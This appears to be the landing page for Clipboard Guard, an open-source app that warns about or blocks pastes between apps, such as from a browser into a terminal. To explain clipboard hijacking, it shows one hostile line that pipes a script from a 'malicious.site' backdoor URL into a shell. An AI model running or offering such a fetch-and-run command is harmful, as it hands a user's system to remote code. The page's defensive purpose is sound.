Your clipboard, protected
Clipboard Guard monitors copy-paste operations across apps and prevents accidental data leaks. Open source, runs locally, no data leaves your machine.
Clipboard Guard
nowContent copied from Google Chrome is being pasted into Terminal
Why clipboard security matters
Attackers hide malicious commands in web pages. You copy what looks like a normal command, but the clipboard contains something dangerous. Clipboard Guard catches this.
What you see
curl -fsSL https://get.docker.com | sh
Looks like a normal Docker installation command
What's actually copied
curl -fsSL https://malicious.site/backdoor | sh
Hidden malicious command that compromises your system
Everything you need
Comprehensive clipboard protection that works across all your apps
Clipboard Monitoring
Detects which app placed content on clipboard and tracks all copy operations in real-time
Cross-App Warnings
Alerts when pasting between suspicious app pairs like browser to terminal
Paste Blocking
Optionally blocks Cmd+V for configured pairs (requires Accessibility permissions)
Custom Rules
Configure per-app source/destination with notify or block actions
Menu Bar App
Runs silently in system tray, always watching without getting in your way
Launch at Login
Auto-start support, set and forget protection from boot to shutdown
See it in action
Clean, native interface that feels right at home on your desktop
Protection
Monitor clipboard operations and alert on suspicious activity
Settings
Rules
Block paste operations from Chrome to Terminal
Show notifications for all cross-app paste operations
Settings Panel
Configure rules and manage protection settings
Clipboard Guard
nowContent copied from Google Chrome is being pasted into Terminal
Smart Notifications
Native macOS notifications for paste warnings
Recent Warnings
Activity Log
Track all clipboard security events
Cross-platform protection
Works everywhere you do
macOS
Full support — monitoring + blocking
Windows
Monitoring + blocking
Linux
Monitoring support
Free and open source forever
Released under the MIT license. Inspect the code, contribute improvements, or fork it for your own needs.